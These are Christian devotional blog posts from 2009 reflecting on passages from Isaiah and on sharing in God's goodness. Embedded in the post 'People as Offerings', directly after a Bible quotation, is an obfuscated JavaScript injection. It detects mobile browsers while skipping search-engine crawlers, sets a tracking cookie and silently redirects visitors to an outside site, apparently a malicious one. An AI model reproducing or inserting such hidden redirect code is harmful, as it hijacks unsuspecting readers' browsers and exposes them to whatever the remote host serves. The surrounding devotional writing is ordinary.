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Isaiah 55:8-11

In Uncategorized on October 23, 2009 at 10:52 am

8 “For my thoughts are not your thoughts,
neither are your ways my ways,”
declares the LORD.

9 “As the heavens are higher than the earth,
so are my ways higher than your ways
and my thoughts than your thoughts.

10 As the rain and the snow
come down from heaven,
and do not return to it
without watering the earth
and making it bud and flourish,
so that it yields seed for the sower and bread for the eater,

11 so is my word that goes out from my mouth:
It will not return to me empty,
but will accomplish what I desire
and achieve the purpose for which I sent it.

——–

My mind cannot encompass the good God has for me.

I imagine that I know where my life is going. I follow lies that tell me that surely my life in the future will actually move backward and become like my life before I knew God. I fear that it will tumble back onto a time of less, a time of hopelessness and not knowing him.

This is because I am trying to imagine my future with the only tools I have. Granted, some of the tools are good; they are God’s. But, for 20 some years I stocked up on tools that in that face of God, are lies.

My pride and foolishness tell me that I can map out what’s ahead of me, that I know it. But, God’s really the one in control, and he tells us that his thoughts are not our thoughts, his ways are not our ways – the difference is as huge and unfathomable (as science says too) as the heavens are higher than the earth.

I used to joke that I can’t imagine infinity, but I can imagine imagining infinity. I don’t have the tools in my head to think the thoughts of God; I can’t even start to imagine the enormous things he plans for me – because they aren’t composed of anything in my experience.

And it’s from all of this that the next verses follow: As the rain and snow come down from heaven and do not return to it without watering the earth…so is my word that goes out from my mouth: it will not return to me empty, but will accomplish what I desire and achieve the purpose for which I sent it.

Then! The next verses: You will go out in joy and be led forth in peace; the mountains and hills will burst into song before you…. This will be for the Lord’s renown, for an everlasting sign, which will not be destroyed.

God creates more for us than we can imagine. He’s thinking on a completely different plane. And – he can make those things happen. He can reach down and write something into the story that had no lead up or development. The former things didn’t create it. His new word comes in and speaks new possibilities.

And this is what he wants to do, because he wants to create things for his renown (and our joy) that are bigger that anything that could possibly be created on earth. Think about it: if he just stuck with what followed next, the outcome wouldn’t be to his renown. It would be something earthly. Instead, he shows himself off by creating something bigger than is possible to create with earthly material. He shows us that his hopes, plans, etc are foreign to us – but they’re real and good. He thinks thoughts that are higher than anything here, then speaks them into the story, everlastingly changing it.

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People as Offerings

In Uncategorized on October 22, 2009 at 1:59 pm

An interesting bit in Isaiah that I haven’t noticed before:

19 “I will set a sign among them, and I will send some of those who survive to the nations—to Tarshish, to the Libyans [d] and Lydians (famous as archers), to Tubal and Greece, and to the distant islands that have not heard of my fame or seen my glory. They will proclaim my glory among the nations. 20 And they will bring all your brothers, from all the nations, to my holy mountain in Jerusalem as an offering to the LORD -on horses, in chariots and wagons, and on mules and camels,” says the LORD. “They will bring them, as the Israelites bring their grain offerings, to the temple of the LORD in ceremonially clean vessels. And I will select some of them also to be priests and Levites,” says the LORD.  (Is 66:19-21)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Sharing in God

In Uncategorized on October 12, 2009 at 9:46 pm

God is the best “thing” there is. He is good. He loves perfectly, has good plans for us, and protects us. He had a plan to save us, a plan that we can rejoice in now. We only know how good it is because God shows us. We can’t find good on our own. It isn’t native to us anymore. Good is only native to God.

Before Adam and Eve sinned, they only knew good. Afterward, things got mixed up. They diverged more and more from God’s path and by Noah’s time, were having thoughts that were only evil all the time.

I’ve found the same to be true in my life. After becoming a Christian, I started to see that certain patterns in my thinking were just not true. The experiences that had caused those patterns were true in a way: they had happened. But the thought patterns, beliefs and expecations that resulted were grounded in this world, and in the belief that my life was ruled by the rules here. After becoming a Christian I found there was another rulership in place: God’s.

I’ve begun to think of God’s rulership as something like a parallel universe. It’s right next to ours, but has an entirely different set of rules. The ruler of it has an entirely different set of values than those that are normal here. In a way, he’s not concerned with the values we have. He’s not affected by them; they don’t change his way of thinking or behaving. He’s just going about his business.

But he’s also the ruler of our world, and he’s transforming it little by little to be like his. Usually we don’t know it’s happening.

But sometimes we do, and we get to participate in it.

God wants to bring us into a sharing in his goodness. He wants us to see, and enjoy and experience what he enjoys and experiences. When Elizabeth greets Mary, who’s just come to visit her, the moment becomes bigger than itself. God comes in his his hugeness and let’s Elizabeth share in the joy that’s appropriate in the presence of his son and the savior of the world. Elizabeth gets to share in what God’s doing. Then the flame jumps to Mary and she prophesies and praises God; she knows more about who she is, and knows more of God. They’re swept up into something in that parallel universe: rejoicing in the goodness of God and his truth. It’s like the Holy Spirit has piped some of the air from the parallel world into them.

We get to share in what God’s doing, and in who he is.

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